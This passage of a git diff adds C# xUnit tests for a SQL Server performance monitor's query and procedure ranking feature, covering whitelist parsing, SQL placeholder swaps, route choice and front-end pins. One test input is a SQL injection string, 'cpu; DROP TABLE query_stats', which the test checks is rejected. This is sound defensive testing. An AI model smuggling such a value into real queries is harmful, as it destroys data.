+            MIN(min_logical_writes) AS min_logical_writes,
+            MAX(max_logical_writes) AS max_logical_writes,
+            MIN(min_spills) AS min_spills,
+            MAX(max_spills) AS max_spills
+        FROM procedure_stats
+        WHERE server_id = $1
+        AND   collection_time >= $2
+        AND   collection_time <= $3
+        AND   ($5::text IS NULL OR database_name = $5)
+        /* #4394: same first-collection exclusion as TopQueriesSql — see its note. */
+        AND   sample_interval_seconds IS DISTINCT FROM 0
+        GROUP BY database_name, schema_name, object_name, object_type
+        HAVING SUM(delta_execution_count) > 0 OR SUM(delta_elapsed_time) > 0
+        ORDER BY SUM(delta_worker_time) DESC
+        LIMIT $4
+        """;
+}
diff --git a/Darling/Darling.Tests/TopRankingPagePinTests.cs b/Darling/Darling.Tests/TopRankingPagePinTests.cs
new file mode 100644
index 0000000000..6a5ec3c821
--- /dev/null
+++ b/Darling/Darling.Tests/TopRankingPagePinTests.cs
@@ -0,0 +1,104 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5226 source pins for the page half of the ranking choice (no database): the selector on the Top Queries and Top
+/// Procedures cards, where its choice lives, what it sends, and that the card draws the reads ranking's retention
+/// notice. The server half is pinned by <c>TopRankingTests</c> and the live classes.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class TopRankingPagePinTests
+{
+    private static string Tab() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js")
+            .ReplaceLineEndings("\n");
+
+    private static string Panels() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "panels.js")
+            .ReplaceLineEndings("\n");
+
+    /// <summary>The page offers exactly the server's whitelist, in the server's order, and the choice lives at module scope.</summary>
+    [Fact]
+    public void TheSelectorOffersTheServersWhitelist_AndTheChoiceLivesAtModuleScope()
+    {
+        var js = Tab();
+        var list = Regex.Match(js, @"const TOP_RANKINGS = \[(?<body>[^\]]*)\];");
+        Assert.True(list.Success, "TOP_RANKINGS must declare the choices.");
+        var values = Regex.Matches(list.Groups["body"].Value, @"value: ""([a-z]+)"", label: ""([A-Za-z]+)""");
+        Assert.Equal(
+            new[] { "cpu=CPU", "duration=Duration", "reads=Reads", "executions=Executions" },
+            values.Select(m => m.Groups[1].Value + "=" + m.Groups[2].Value).ToArray());
+
+        /* Column zero of the file: a module-scope binding, so the 60 s rebuild of a tab (a new card each time) keeps the pick. */
+        Assert.Matches(@"(?m)^const topRankingPick = \{ queries: ""cpu"", procedures: ""cpu"" \};", js);
+        /* A pick stores the choice and draws the card again, so the title follows it. */
+        Assert.Contains("topRankingPick[kind] = value;\n          draw();", js, StringComparison.Ordinal);
+        Assert.Contains("\"Top Queries by \" + topRankingLabel(ranking)", js, StringComparison.Ordinal);
+        Assert.Contains("\"Top Procedures by \" + topRankingLabel(ranking)", js, StringComparison.Ordinal);
+    }
+
+    /// <summary>The default read is unchanged: <c>order_by</c> is sent only for a pick that is not CPU.</summary>
+    [Fact]
+    public void OrderByIsSentOnlyForANonDefaultPick()
+    {
+        var js = Tab();
+        Assert.Contains(
+            "return ranking === \"cpu\" ? params : { ...params, order_by: ranking };",
+            js, StringComparison.Ordinal);
+        /* Every read of the two lists goes through it, so no call site can send order_by (or forget to) on its own. */
+        Assert.DoesNotContain("order_by:", js.Replace("{ ...params, order_by: ranking }", ""), StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// A reads ranking over a window past what raw keeps carries the raw route's retention notice (<c>retention_notice</c>), and the page
+    /// draws it ONCE (#5299): readTool puts it in the window note's place (util.js), so each card names <c>truncation_note</c> as its one
+    /// note and holds no second key or strip for it. What each card draws is run by <c>TopRankingNoticeBehaviourTests</c>.
+    /// </summary>
+    [Fact]
+    public void TheRetentionNotice_RidesTheWindowNote_SoNoCardDrawsItTwice()
+    {
+        var js = Tab();
+        Assert.DoesNotContain("RANKING_NOTE_KEYS", js, StringComparison.Ordinal);
+        /* The three plain grids (queries on the CPU tab, procedures on both tabs) name the window note and no further note key... */
+        Assert.Equal(3, Regex.Matches(js, @"""truncation_note"",\s*null,\s*TOP_(QUERY|PROC)_GROUPS,\s*picker").Count);
+        /* ...and the Queries tab's composite draws no strip of its own for the retention notice. */
+        Assert.DoesNotContain("noticeStrip(res.data.retention_notice)", js, StringComparison.Ordinal);
+        var util = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "util.js").ReplaceLineEndings("\n");
+        Assert.Contains("const note = retentionNoticeOf(res.data) ?? windowNoteText(res.data);", util, StringComparison.Ordinal);
+    }
+
+    /// <summary>The selector sits under the card's title: panels.js draws an optional <c>control</c> before the body.</summary>
+    [Fact]
+    public void TheCardDrawsItsControlUnderTheTitle_BeforeTheBody()
+    {
+        Assert.Matches(@"desc\.control \|\| null,\s*body,", Panels());
+        Assert.Contains("control,\n    body,", Tab(), StringComparison.Ordinal);
+    }
+
+    /// <summary>#5329: a Reads ranking reads raw OR the io hourly rollup, so the card holds no fixed sentence about the source: the one it
+    /// had ("ranked from the raw collections because the per-query hourly rollups keep no reads") is false on the io route. The window note
+    /// (<c>truncation_note</c>, with <c>retention_notice</c> riding in its place) is what tells a reader the answer is partial.</summary>
+    [Fact]
+    public void AReadsRanking_CarriesNoFixedSentenceAboutItsSource_SoItCannotBeFalseOnTheIoRoute()
+    {
+        var js = Tab();
+        Assert.DoesNotContain("READS_RAW_SENTENCE", js, StringComparison.Ordinal);
+        Assert.DoesNotContain("ranked from the raw collections", js, StringComparison.Ordinal);
+        Assert.DoesNotContain("keep no reads", js, StringComparison.Ordinal);
+        /* The picker row holds the selector alone, whatever is picked. */
+        Assert.DoesNotContain("ranking === \"reads\"", js, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/TopRankingTests.cs b/Darling/Darling.Tests/TopRankingTests.cs
new file mode 100644
index 0000000000..df87ba38cf
--- /dev/null
+++ b/Darling/Darling.Tests/TopRankingTests.cs
@@ -0,0 +1,239 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5226 pins that need no database: the order choice is a whitelist (a request value is parsed to an enum, never
+/// spliced), each choice swaps the one rank-metric anchor in every one of the five top-N statements, the hourly rollup answers
+/// every choice but reads, the web catalog and dispatch carry <c>order_by</c> for the two reads, and the MCP tools
+/// keep their parameters (no <c>order_by</c>) and so keep ranking by CPU.
+/// </summary>
+public sealed class TopRankingTests
+{
+    [Theory]
+    [InlineData(null, TopRanking.Cpu)]
+    [InlineData("", TopRanking.Cpu)]
+    [InlineData("  ", TopRanking.Cpu)]
+    [InlineData("cpu", TopRanking.Cpu)]
+    [InlineData("CPU", TopRanking.Cpu)]
+    [InlineData("duration", TopRanking.Duration)]
+    [InlineData(" Duration ", TopRanking.Duration)]
+    [InlineData("reads", TopRanking.Reads)]
+    [InlineData("executions", TopRanking.Executions)]
+    public void TryParse_AcceptsTheFourSpellings_AndAbsentMeansCpu(string? value, TopRanking expected)
+    {
+        Assert.True(TopRankings.TryParse(value, out var ranking));
+        Assert.Equal(expected, ranking);
+    }
+
+    [Theory]
+    [InlineData("elapsed")]
+    [InlineData("cpu; DROP TABLE query_stats")]
+    [InlineData("delta_worker_time")]
+    [InlineData("1")]
+    [InlineData("duration,reads")]
+    public void TryParse_RefusesAnythingElse_NeverCarriesItAlong(string value)
+    {
+        Assert.False(TopRankings.TryParse(value, out var ranking));
+        Assert.Equal(TopRanking.Cpu, ranking);
+    }
+
+    [Fact]
+    public void WireName_RoundTripsEveryChoice_AndTheChoiceListMatchesTheEnum()
+    {
+        foreach (var ranking in Enum.GetValues<TopRanking>())
+        {
+            Assert.True(TopRankings.TryParse(TopRankings.WireName(ranking), out var back));
+            Assert.Equal(ranking, back);
+        }
+
+        Assert.Equal(
+            new[] { "cpu", "duration", "reads", "executions" },
+            TopRankings.Choices.Select(c => c.Value).ToArray());
+    }
+
+    /// <summary>
+    /// The CPU choice is the default read. Its statement is the const with the anchor replaced by the worker-time sum
+    /// and nothing else changed (the const is never run unexpanded, so even the default goes through Apply).
+    /// </summary>
+    [Fact]
+    public void Apply_Cpu_ExpandsEveryConstToTheWorkerTimeSum_AndNothingElseChanges()
+    {
+        foreach (var raw in new[] { DarlingDataReader.TopQueriesSql, DarlingDataReader.TopQueriesByHostObjectSql, DarlingDataReader.TopProceduresSql })
+        {
+            Assert.Equal(raw.Replace("$RANK$", "SUM(delta_worker_time)", StringComparison.Ordinal), TopRankings.Apply(raw, TopRanking.Cpu, hourly: false));
+        }
+
+        foreach (var hourly in new[] { DarlingDataReader.TopQueriesHourlySql, DarlingDataReader.TopProceduresHourlySql })
+        {
+            Assert.Equal(hourly.Replace("$RANK$", "SUM(worker_time_sum)", StringComparison.Ordinal), TopRankings.Apply(hourly, TopRanking.Cpu, hourly: true));
+        }
+    }
+
+    /// <summary>
+    /// Each choice swaps ONE thing in each raw statement, the ranking pass's metric. The ORDER BYs, the caps and the
+    /// filters are the const's own text, so they are the same for every choice.
+    /// </summary>
+    [Theory]
+    [InlineData(TopRanking.Duration, "SUM(delta_elapsed_time)")]
+    [InlineData(TopRanking.Reads, "SUM(delta_logical_reads)")]
+    [InlineData(TopRanking.Executions, "SUM(delta_execution_count)")]
+    public void Apply_Raw_SwapsTheRankMetricInEveryRawStatement(TopRanking ranking, string metric)
+    {
+        foreach (var cpuSql in new[] { DarlingDataReader.TopQueriesSql, DarlingDataReader.TopQueriesByHostObjectSql, DarlingDataReader.TopProceduresSql })
+        {
+            var sql = TopRankings.Apply(cpuSql, ranking, hourly: false);
+            Assert.Contains(metric + " AS rank_metric", sql, StringComparison.Ordinal);
+            Assert.Contains("SUM(delta_worker_time) AS rank_cpu", sql, StringComparison.Ordinal);
+            Assert.DoesNotContain("$RANK$", sql, StringComparison.Ordinal);
+            Assert.Equal(cpuSql.Replace("$RANK$", metric, StringComparison.Ordinal), sql);
+        }
+
+        Assert.Contains("LIMIT $7", TopRankings.Apply(DarlingDataReader.TopQueriesSql, ranking, hourly: false), StringComparison.Ordinal);
+        Assert.Contains("NOT LIKE 'WAITFOR%'", TopRankings.Apply(DarlingDataReader.TopQueriesByHostObjectSql, ranking, hourly: false), StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData(TopRanking.Duration, "SUM(elapsed_time_sum)")]
+    [InlineData(TopRanking.Executions, "SUM(execution_count_sum)")]
+    public void Apply_Hourly_SwapsTheRankMetricInBothRollupStatements(TopRanking ranking, string metric)
+    {
+        foreach (var cpuSql in new[] { DarlingDataReader.TopQueriesHourlySql, DarlingDataReader.TopProceduresHourlySql })
+        {
+            var sql = TopRankings.Apply(cpuSql, ranking, hourly: true);
+            Assert.Contains(metric + " AS rank_metric", sql, StringComparison.Ordinal);
+            Assert.Contains("SUM(worker_time_sum) AS rank_cpu", sql, StringComparison.Ordinal);
+            Assert.Contains(DarlingDataReader.TopQueriesHourlyFromPlaceholder, sql, StringComparison.Ordinal);
+            Assert.DoesNotContain("$RANK$", sql, StringComparison.Ordinal);
+        }
+    }
+
+    /// <summary>
+    /// #5329: <c>query_stats_io_hourly</c> carries the reads sums, so on the io shape EVERY ranking has a statement,
+    /// reads included; the three sums are projected there and as typed NULLs on the stitched shape.
+    /// </summary>
+    [Fact]
+    public void OnTheIoShape_ReadsHasAStatement_RankedByTheLogicalReadsSum()
+    {
+        foreach (var ranking in Enum.GetValues<TopRanking>())
+        {
+            Assert.True(TopRankings.HourlyCarries(ranking, io: true));
+        }
+
+        var sql = TopRankings.Apply(DarlingDataReader.TopQueriesHourlySql, TopRanking.Reads, hourly: true, io: true);
+        Assert.Contains("SUM(logical_reads_sum) AS rank_metric", sql, StringComparison.Ordinal);
+        Assert.Contains("SUM(worker_time_sum) AS rank_cpu", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain(TopRankings.RankAnchor, sql, StringComparison.Ordinal);
+        Assert.Throws<InvalidOperationException>(() => TopRankings.Apply(DarlingDataReader.TopQueriesHourlySql, TopRanking.Reads, hourly: true, io: false));
+        Assert.Contains("SUM(physical_reads_sum)", TopRankings.HourlyIoSums, StringComparison.Ordinal);
+        Assert.Contains("SUM(logical_writes_sum)", TopRankings.HourlyIoSums, StringComparison.Ordinal);
+        Assert.DoesNotContain("SUM(", TopRankings.HourlyNoIoSums, StringComparison.Ordinal);
+        Assert.Contains(DarlingDataReader.TopQueriesHourlyIoSumsPlaceholder, DarlingDataReader.TopQueriesHourlySql, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// #5329 route table over the io floor and raw's oldest row, window start 10 days back. io absent and io empty both
+    /// answer a null floor. Covering io (floor at or before the start) takes EVERY ranking. Otherwise a reads ranking
+    /// reads raw when raw reaches the start, else whichever reaches further back (a tie goes to raw), and any other
+    /// ranking keeps the stitched route.
+    /// </summary>
+    [Theory]
+    [InlineData(TopRanking.Reads, null, 4, HourlyRoute.Raw)]        // io absent or empty, raw does not reach: raw
+    [InlineData(TopRanking.Reads, null, null, HourlyRoute.Raw)]     // nothing anywhere
+    [InlineData(TopRanking.Reads, null, 12, HourlyRoute.Raw)]       // io absent, raw reaches the start
+    [InlineData(TopRanking.Reads, 20, 4, HourlyRoute.Io)]           // io covers (floor 20 days back)
+    [InlineData(TopRanking.Reads, 10, 4, HourlyRoute.Io)]           // io floor exactly at the start covers
+    [InlineData(TopRanking.Reads, 20, 12, HourlyRoute.Io)]          // io covers though raw does too
+    [InlineData(TopRanking.Reads, 6, 4, HourlyRoute.Io)]            // io partial but deeper than raw
+    [InlineData(TopRanking.Reads, 4, 6, HourlyRoute.Raw)]           // io partial, raw is deeper
+    [InlineData(TopRanking.Reads, 5, 5, HourlyRoute.Raw)]           // a tie goes to raw
+    [InlineData(TopRanking.Reads, 5, 12, HourlyRoute.Raw)]          // io partial, raw reaches the start
+    [InlineData(TopRanking.Reads, 5, null, HourlyRoute.Io)]         // io partial, raw empty
+    [InlineData(TopRanking.Cpu, null, 4, HourlyRoute.Stitched)]
+    [InlineData(TopRanking.Cpu, 5, 4, HourlyRoute.Stitched)]        // io partial: today's route
+    [InlineData(TopRanking.Cpu, 20, 4, HourlyRoute.Io)]
+    [InlineData(TopRanking.Duration, 20, 4, HourlyRoute.Io)]
+    [InlineData(TopRanking.Executions, 20, null, HourlyRoute.Io)]
+    [InlineData(TopRanking.Duration, 5, 12, HourlyRoute.Stitched)]
+    [InlineData(TopRanking.Executions, null, null, HourlyRoute.Stitched)]
+    public void ChooseHourlyRoute_FollowsTheIoFloorAndRawsReach(TopRanking ranking, int? ioDaysBack, int? rawDaysBack, HourlyRoute expected)
+    {
+        var now = new DateTime(2026, 6, 1, 0, 0, 0, DateTimeKind.Unspecified);
+        DateTime? Back(int? days) => days is null ? null : now.AddDays(-days.Value);
+        Assert.Equal(expected, TopRankings.ChooseHourlyRoute(ranking, now.AddDays(-10), Back(ioDaysBack), Back(rawDaysBack)));
+    }
+
+    /// <summary>
+    /// The rollups keep worker time, elapsed time and execution counts and no logical reads, so a reads ranking has
+    /// no hourly statement: the reader routes it to raw, and asking Apply for one is a programming error.
+    /// </summary>
+    [Fact]
+    public void Reads_HasNoHourlyStatement_BecauseTheRollupHasNoReadsColumn()
+    {
+        Assert.False(TopRankings.HourlyCarries(TopRanking.Reads));
+        Assert.True(TopRankings.HourlyCarries(TopRanking.Cpu));
+        Assert.True(TopRankings.HourlyCarries(TopRanking.Duration));
+        Assert.True(TopRankings.HourlyCarries(TopRanking.Executions));
+        Assert.Throws<InvalidOperationException>(() => TopRankings.Apply(DarlingDataReader.TopQueriesHourlySql, TopRanking.Reads, hourly: true));
+
+        var js = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "TimescaleSupport.cs");
+        var at = js.IndexOf("[TimescaleSupport.QueryStatsHourlyView] = new[]", StringComparison.Ordinal);
+        Assert.True(at > 0, "the stitch column list moved — remap this test");
+        var list = js[at..js.IndexOf("[TimescaleSupport.QueryStatsDbHourlyView]", at, StringComparison.Ordinal)];
+        Assert.DoesNotContain("logical_reads_sum", list, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// A swap that did not land would silently rank by CPU; Apply refuses a statement whose anchor is absent or doubled
+    /// (the full per-const check is in <see cref="TopRankingTwoPassTests"/>).
+    /// </summary>
+    [Fact]
+    public void Apply_ThrowsWhenTheStatementLacksItsAnchor_OrCarriesItTwice()
+    {
+        foreach (var ranking in new[] { TopRanking.Cpu, TopRanking.Duration })
+        {
+            Assert.Throws<InvalidOperationException>(() => TopRankings.Apply("SELECT 1", ranking, hourly: false));
+            Assert.Throws<InvalidOperationException>(() => TopRankings.Apply("SELECT $RANK$, $RANK$", ranking, hourly: false));
+        }
+    }
+
+    [Theory]
+    [InlineData("get_top_queries_by_cpu")]
+    [InlineData("get_top_procedures_by_cpu")]
+    public void TheWebCatalog_AdvertisesOrderBy_WithCpuAsTheDefault(string read)
+    {
+        var p = Assert.Single(DarlingWebEndpoints.CatalogDescriptors[read].Params, x => x.Name == "order_by");
+        Assert.Equal("text", p.Type);
+        Assert.False(p.Required);
+        Assert.Equal("cpu", p.Default);
+        Assert.True(DarlingWebEndpoints.BuildReadDispatch().ContainsKey(read));
+    }
+
+    [Fact]
+    public void TheWebDispatch_PassesOrderBy_ToTheRankedSiblings_AndTheMcpToolsKeepTheirParameters()
+    {
+        var web = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWebEndpoints.cs");
+        Assert.Matches(@"GetTopQueriesRanked\([^\n]*order_by: Str\(c, ""order_by""\)", web);
+        Assert.Matches(@"GetTopProceduresRanked\([^\n]*order_by: Str\(c, ""order_by""\)", web);
+
+        /* The MCP surface does not change (#5226): neither tool has an order parameter, so both still rank by CPU. */
+        foreach (var name in new[] { nameof(DarlingMcpDataTools.GetTopQueriesByCpu), nameof(DarlingMcpDataTools.GetTopProceduresByCpu) })
+        {
+            var method = typeof(DarlingMcpDataTools).GetMethod(name)!;
+            Assert.DoesNotContain(method.GetParameters(), p => p.Name == "order_by");
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/TopRankingTwoPassTests.cs b/Darling/Darling.Tests/TopRankingTwoPassTests.cs
new file mode 100644
index 0000000000..010a984ebc
--- /dev/null
+++ b/Darling/Darling.Tests/TopRankingTwoPassTests.cs
@@ -0,0 +1,204 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5226 pins for the raw ranking statements' two-pass shape (check 3 of the review: identical results only under
+/// four conditions), the stable-final-key and NULLS LAST rules on every deciding ORDER BY (F2, F8), and the single
+/// rank anchor <c>TopRankings.Apply</c> swaps (F11). They read the consts' text only; the row-for-row proof that the
+/// two passes answer what the single pass did is the live differential test. The anchor is spelled out here, not
+/// read from <c>TopRankings</c>, so a rename of it fails these pins instead of following the code.
+/// </summary>
+public sealed class TopRankingTwoPassTests
+{
+    private const string Anchor = "$RANK$";
+
+    private static string Sql(string name) => name switch
+    {
+        "TopQueriesSql" => DarlingDataReader.TopQueriesSql,
+        "TopQueriesByHostObjectSql" => DarlingDataReader.TopQueriesByHostObjectSql,
+        "TopProceduresSql" => DarlingDataReader.TopProceduresSql,
+        "TopQueriesHourlySql" => DarlingDataReader.TopQueriesHourlySql,
+        "TopProceduresHourlySql" => DarlingDataReader.TopProceduresHourlySql,
+        _ => throw new ArgumentOutOfRangeException(nameof(name)),
+    };
+
+    private static bool IsHourly(string name) => name.Contains("Hourly", StringComparison.Ordinal);
+
+    private static IEnumerable<TopRanking> Rankings(string name) =>
+        Enum.GetValues<TopRanking>().Where(r => !IsHourly(name) || TopRankings.HourlyCarries(r));
+
+    public static IEnumerable<object[]> AllFive() =>
+        new[] { "TopQueriesSql", "TopQueriesByHostObjectSql", "TopProceduresSql", "TopQueriesHourlySql", "TopProceduresHourlySql" }
+            .Select(n => new object[] { n });
+
+    public static IEnumerable<object[]> RawThree() =>
+        new[] { "TopQueriesSql", "TopQueriesByHostObjectSql", "TopProceduresSql" }.Select(n => new object[] { n });
+
+    // ------------------------------------------------------------------ F11: the anchor
+
+    [Theory]
+    [MemberData(nameof(AllFive))]
+    public void EveryConst_CarriesTheRankAnchorExactlyOnce_InItsRankingSelectList(string name)
+    {
+        var sql = Sql(name);
+        Assert.Single(Regex.Matches(sql, Regex.Escape(Anchor)));
+        Assert.Contains(Anchor + " AS rank_metric", sql, StringComparison.Ordinal);
+        Assert.Single(Regex.Matches(sql, @"SUM\(\w+\) AS rank_cpu"));
+    }
+
+    [Theory]
+    [MemberData(nameof(AllFive))]
+    public void Apply_ThrowsWhenAnyAnchorIsMissing_OrAppearsTwice(string name)
+    {
+        var sql = Sql(name);
+        foreach (var ranking in Rankings(name))
+        {
+            var hourly = IsHourly(name);
+            var missing = sql.Replace(Anchor, "SUM(x)", StringComparison.Ordinal);
+            var twice = sql + "\n" + Anchor;
+            Assert.Throws<InvalidOperationException>(() => TopRankings.Apply(missing, ranking, hourly));
+            Assert.Throws<InvalidOperationException>(() => TopRankings.Apply(twice, ranking, hourly));
+            Assert.DoesNotContain(Anchor, TopRankings.Apply(sql, ranking, hourly), StringComparison.Ordinal);
+        }
+    }
+
+    // ------------------------------------------------------------------ F2 + F8: NULLS LAST and a final key
+
+    private static readonly Dictionary<string, string[]> KeyTails = new()
+    {
+        ["TopQueriesSql"] = new[] { "win_database_name, win_query_hash, win_host_object_name", "r.database_name, r.query_hash, r.host_object_name" },
+        ["TopQueriesByHostObjectSql"] = new[] { "win_database_name, win_host_object_name, win_group_hash", "r.database_name, r.host_object_name, r.query_hash" },
+        ["TopProceduresSql"] = new[] { "win_database_name, win_schema_name, win_object_name, win_object_type", "database_name, schema_name, object_name, object_type" },
+        ["TopQueriesHourlySql"] = new[] { "database_name, query_hash", "r.database_name, r.query_hash" },
+        ["TopProceduresHourlySql"] = new[] { "database_name, schema_name, object_name", "r.database_name, r.schema_name, r.object_name" },
+    };
+
+    /// <summary>Every ORDER BY that decides which groups survive or in what order (the latest-text lookup's is not one).</summary>
+    private static List<string> RankingOrderBys(string sql) =>
+        Regex.Matches(sql, @"(?m)^\s*ORDER BY ([^\r\n]+)").Select(m => m.Groups[1].Value.Trim())
+            .Where(o => !o.StartsWith("collection_time", StringComparison.Ordinal) && !o.StartsWith("q.", StringComparison.Ordinal)
+                && !o.StartsWith("p.page_ord", StringComparison.Ordinal)).ToList();   /* #5313: the count-row join re-sorts the page by its position */
+
+    [Theory]
+    [MemberData(nameof(AllFive))]
+    public void EveryDecidingOrderBy_SortsDescSumsNullsLast_AndEndsInTheUniqueGroupKey(string name)
+    {
+        foreach (var ranking in Rankings(name))
+        {
+            var orders = RankingOrderBys(TopRankings.Apply(Sql(name), ranking, IsHourly(name)));
+            Assert.Equal(2, orders.Count);
+            for (var i = 0; i < orders.Count; i++)
+            {
+                var o = orders[i];
+                Assert.Matches(@"^(MAX\()?([rw]\.)?rank_metric(\))? DESC NULLS LAST, (MAX\()?([rw]\.)?rank_cpu(\))? DESC NULLS LAST, ", o);
+                Assert.EndsWith(", " + KeyTails[name][i], o, StringComparison.Ordinal);
+                foreach (var item in o.Split(", "))
+                {
+                    Assert.True(!item.EndsWith(" DESC", StringComparison.Ordinal), $"{name}: '{item}' sorts DESC without NULLS LAST");
+                }
+            }
+        }
+    }
+
+    // ------------------------------------------------------------------ check 3: the four conditions of the two passes
+
+    [Theory]
+    [MemberData(nameof(RawThree))]
+    public void Raw_Pass1RanksNarrow_AndRepeatsTheHavingTheFloorAndTheKey(string name)
+    {
+        var sql = Sql(name);
+        var p1 = sql[sql.IndexOf("winners AS MATERIALIZED (", StringComparison.Ordinal)..];
+        var limitAt = p1.IndexOf(name == "TopProceduresSql" ? "LIMIT $4" : "LIMIT $7", StringComparison.Ordinal);
+        p1 = p1[..p1.IndexOfAny(new[] { '\r', '\n' }, limitAt)];   /* through the end of pass 1's LIMIT line */
+        Assert.DoesNotContain("COUNT(DISTINCT", p1, StringComparison.Ordinal);
+        Assert.DoesNotContain("MAX(plan_handle)", p1, StringComparison.Ordinal);
+        Assert.DoesNotContain("MIN(min_", p1, StringComparison.Ordinal);
+        if (name == "TopProceduresSql")
+        {
+            Assert.Contains("GROUP BY database_name, schema_name, object_name, object_type", p1, StringComparison.Ordinal);
+            Assert.Contains("HAVING SUM(delta_execution_count) > 0 OR SUM(delta_elapsed_time) > 0", p1, StringComparison.Ordinal);
+            Assert.EndsWith("LIMIT $4", p1, StringComparison.Ordinal);
+            Assert.DoesNotContain("+ 5", sql, StringComparison.Ordinal);   /* procedures has no over-fetch */
+            return;
+        }
+
+        Assert.Contains("HAVING (SUM(delta_execution_count) > 0 OR SUM(delta_elapsed_time) > 0)", p1, StringComparison.Ordinal);
+        Assert.Contains("AND COALESCE(MAX(max_dop), 0) >= $6", p1, StringComparison.Ordinal);
+        Assert.Contains(name == "TopQueriesSql"
+            ? "GROUP BY database_name, query_hash, host_object_name"
+            : "CASE WHEN host_object_name IS NULL THEN query_hash END", p1, StringComparison.Ordinal);
+        Assert.EndsWith("LIMIT $7", p1.TrimEnd(), StringComparison.Ordinal);   /* the candidate limit (#5313) stays in pass 1, and only there */
+        Assert.Single(Regex.Matches(sql, Regex.Escape("LIMIT $7")));
+        Assert.DoesNotContain("+ 5", sql, StringComparison.Ordinal);   /* no fixed over-fetch: TopFill picks the candidate limit */
+    }
+
+    [Theory]
+    [MemberData(nameof(RawThree))]
+    public void Raw_Pass2RescansTheSameWindow_AndMatchesTheKeyNullSafely(string name)
+    {
+        var sql = Sql(name);
+        foreach (var filter in new[]
+        {
+            "server_id = $1", "collection_time >= $2", "collection_time <= $3",
+            "$5::text[] IS NULL OR database_name = ANY($5)", "{TimescaleSupport.IntervalHonestSourceFilter}",
+        })
+        {
+            var text = filter.Replace("{TimescaleSupport.IntervalHonestSourceFilter}", "sample_interval_seconds IS DISTINCT FROM 0", StringComparison.Ordinal);
+            /* once per pass; the queries' one latest-text lookup (#5309) scopes by server and reads the window too */
+            var lookup = name != "TopProceduresSql" && (filter == "server_id = $1" || filter.StartsWith("collection_time", StringComparison.Ordinal));
+            Assert.Equal(lookup ? 3 : 2, Regex.Matches(sql, Regex.Escape(text)).Count);
+        }
+
+        var p2 = sql[sql.IndexOf("JOIN winners AS w", StringComparison.Ordinal)..];
+        var keys = name switch
+        {
+            "TopQueriesSql" => new[] { "database_name", "query_hash", "host_object_name" },
+            "TopQueriesByHostObjectSql" => new[] { "database_name", "host_object_name", "group_hash" },
+            _ => new[] { "database_name", "schema_name", "object_name", "object_type" },
+        };
+        foreach (var key in keys)
+        {
+            Assert.Contains("IS NOT DISTINCT FROM w.win_" + key, p2, StringComparison.Ordinal);
+        }
+
+        Assert.DoesNotMatch(@"=\s*w\.win_", p2);   /* a plain equality drops the NULL-keyed groups */
+        Assert.DoesNotMatch(@"\bIN \(SELECT", sql);
+    }
+
+    [Theory]
+    [MemberData(nameof(RawThree))]
+    public void Raw_TextLookupWaitforTrimAndFinalLimit_RunAfterPass2(string name)
+    {
+        var sql = Sql(name);
+        var pass2 = sql.IndexOf("JOIN winners AS w", StringComparison.Ordinal);
+        Assert.True(sql.IndexOf("winners AS MATERIALIZED", StringComparison.Ordinal) < pass2);
+        if (name == "TopProceduresSql")
+        {
+            Assert.DoesNotContain("LATERAL", sql, StringComparison.Ordinal);
+            return;
+        }
+
+        /* #5309: the text is ONE lookup over the winners (the latest_text CTE), joined to the ranked rows once. */
+        Assert.DoesNotContain("LATERAL", sql, StringComparison.Ordinal);
+        var lookup = sql.IndexOf("latest_text AS MATERIALIZED (", StringComparison.Ordinal);
+        var lookupJoin = sql.IndexOf("LEFT JOIN latest_text AS t", StringComparison.Ordinal);
+        var waitfor = sql.IndexOf("NOT LIKE 'WAITFOR%'", StringComparison.Ordinal);
+        var finalLimit = sql.LastIndexOf("LIMIT $4", StringComparison.Ordinal);
+        Assert.True(pass2 < lookup && lookup < lookupJoin && lookupJoin < waitfor && waitfor < finalLimit, "text lookup, WAITFOR trim and LIMIT $4 follow pass 2");
+        Assert.Single(Regex.Matches(sql, @"LIMIT \$4\s*$", RegexOptions.Multiline));
+    }
+}
diff --git a/Darling/Darling.Tests/TopTextLookupFillTests.cs b/Darling/Darling.Tests/TopTextLookupFillTests.cs
new file mode 100644
index 0000000000..277163cea1
--- /dev/null
+++ b/Darling/Darling.Tests/TopTextLookupFillTests.cs
@@ -0,0 +1,402 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using PerformanceMonitor.Darling.Service.Mcp;
